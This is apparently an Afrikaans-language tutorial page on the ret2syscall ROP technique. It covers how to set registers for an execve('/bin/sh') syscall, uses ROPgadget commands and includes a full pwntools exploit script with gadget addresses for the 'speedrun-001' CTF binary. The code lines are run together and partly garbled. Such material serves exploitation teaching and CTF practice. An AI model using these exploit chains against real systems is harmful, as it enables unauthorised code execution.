Dit is soortgelyk aan Ret2lib, egter, in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall sys_execve met 'n paar argumente aan te roep om /bin/sh uit te voer. Hierdie tegniek word gewoonlik op binêre lêers uitgevoer wat staties gecompileer is, so daar mag baie gadgets en syscall instruksies wees.
Om die oproep vir die syscall voor te berei, is die volgende konfigurasie nodig:
rax: 59 Spesifiseer sys_execve
rdi: ptr na "/bin/sh" spesifiseer lêer om uit te voer
rsi: 0 spesifiseer geen argumente wat deurgegee word
rdx: 0 spesifiseer geen omgewing veranderlikes wat deurgegee word
So, basies is dit nodig om die string /bin/sh êrens te skryf en dan die syscall uit te voer (met inagneming van die padding wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om /bin/sh in 'n bekende area te skryf.
Nog 'n interessante syscall om aan te roep is mprotect wat 'n aanvaller in staat sou stel om die toestemmings van 'n bladsy in geheue te wysig. Dit kan gekombineer word met ret2shellcode.
Register gadgets
Kom ons begin met die vind van hoe om daardie registers te beheer:
Dan moet jy 'n manier vind om arbitrêre inhoud in hierdie adres te skryf
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatiseer ROP-ketting
Die volgende opdrag skep 'n volledige sys_execve ROP-ketting gegewe 'n statiese binêre wanneer daar write-what-where gadgets en syscall instruksies is:
ROPgadget--binaryvuln--ropchain
32-bis
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64-bis
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Gebrek aan Gadgets
As jy gebrek aan gadgets het, byvoorbeeld om /bin/sh in geheue te skryf, kan jy die SROP-tegniek gebruik om al die registerwaardes (insluitend RIP en params registers) vanaf die stapel te beheer:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bits, nx, geen PIE, skryf in 'n bietjie geheue 'n ROP om execve aan te roep en daarheen te spring. Om na die stapel te skryf, word 'n funksie wat wiskundige operasies uitvoer, misbruik.